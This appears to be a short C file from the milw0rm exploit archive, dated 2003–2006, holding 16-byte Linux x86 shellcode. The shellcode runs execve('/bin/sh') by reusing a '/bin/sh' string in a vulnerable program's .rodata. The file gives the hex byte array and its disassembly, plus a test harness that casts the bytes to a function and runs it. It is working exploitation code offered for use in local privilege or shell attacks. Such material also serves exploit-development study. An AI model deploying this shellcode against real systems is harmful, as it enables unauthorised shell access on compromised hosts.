33 lines
No EOL
1.1 KiB
C
33 lines
No EOL
1.1 KiB
C
/*
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* $Id: reusage-linux.c,v 1.3 2004/01/30 20:08:46 raptor Exp $
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*
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* reusage-linux.c - re-use of "/bin/sh" string in .rodata
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* Copyright (c) 2003 Marco Ivaldi <raptor@0xdeadbeef.info>
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*
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* Short local shellcode for /bin/sh execve(). It re-uses the "/bin/sh"
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* string stored in the .rodata section of the vulnerable program. Change
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* the string address as needed (based on zillion's original idea).
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*/
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/*
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* execve("/bin/sh", ["/bin/sh"], NULL)
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*
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* 8049368: 31 c0 xor %eax,%eax
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* 804936a: bb 08 84 04 08 mov $0x8048408,%ebx # change it
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* 804936f: 53 push %ebx
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* 8049370: 89 e1 mov %esp,%ecx
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* 8049372: 31 d2 xor %edx,%edx
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* 8049374: b0 0b mov $0xb,%al
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* 8049376: cd 80 int $0x80
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* 8049378: 00 00 add %al,(%eax)
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*/
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char sc[] = /* 16 bytes */
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"\x31\xc0\xbb\x08\x84\x04\x08\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
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main()
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{
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int (*f)() = (int (*)())sc; f();
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}
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// milw0rm.com [2006-07-20]
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